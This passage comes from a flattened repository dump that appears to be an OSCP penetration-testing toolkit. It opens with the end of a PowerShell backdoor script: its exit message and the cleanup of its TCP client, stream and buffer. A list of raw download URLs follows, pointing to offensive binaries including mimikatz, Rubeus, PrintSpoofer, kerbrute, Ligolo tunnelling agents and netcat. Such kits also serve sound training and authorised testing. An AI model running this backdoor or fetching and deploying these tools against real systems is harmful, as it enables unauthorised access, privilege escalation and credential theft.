} 43 | } 44 | } while ($bytes -gt 0); 45 | Write-Host "Backdoor will now exit..."; 46 | } catch { 47 | Write-Host $_.Exception.InnerException.Message; 48 | } finally { 49 | if ($writer -ne $null) { 50 | $writer.Close(); $writer.Dispose(); 51 | Clear-Variable writer; 52 | } 53 | if ($stream -ne $null) { 54 | $stream.Close(); $stream.Dispose(); 55 | Clear-Variable stream; 56 | } 57 | if ($client -ne $null) { 58 | $client.Close(); $client.Dispose(); 59 | Clear-Variable client; 60 | } 61 | if ($buffer -ne $null) { 62 | $buffer.Clear(); 63 | Clear-Variable buffer; 64 | } 65 | if ($result -ne $null) { 66 | Clear-Variable result; 67 | } 68 | if ($data -ne $null) { 69 | Clear-Variable data; 70 | } 71 | [GC]::Collect(); 72 | } 73 | } 74 | Clear-Variable addr; 75 | Clear-Variable port; 76 | -------------------------------------------------------------------------------- /PrintSpoofer64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/PrintSpoofer64.exe -------------------------------------------------------------------------------- /Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/Rubeus.exe -------------------------------------------------------------------------------- /Seatbelt.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/Seatbelt.exe -------------------------------------------------------------------------------- /Tunneling/Ligolo/agent.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/Tunneling/Ligolo/agent.exe -------------------------------------------------------------------------------- /Tunneling/Ligolo/proxy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/Tunneling/Ligolo/proxy -------------------------------------------------------------------------------- /kerbrute_linux_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/kerbrute_linux_amd64 -------------------------------------------------------------------------------- /mimikatz.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/mimikatz.exe -------------------------------------------------------------------------------- /nc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/nc.exe -------------------------------------------------------------------------------- /subinacl.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ignitetechnologies/OSCP_Tools/e59630ce30cf63310bdd382c4b22d66b30c62226/subinacl.msi --------------------------------------------------------------------------------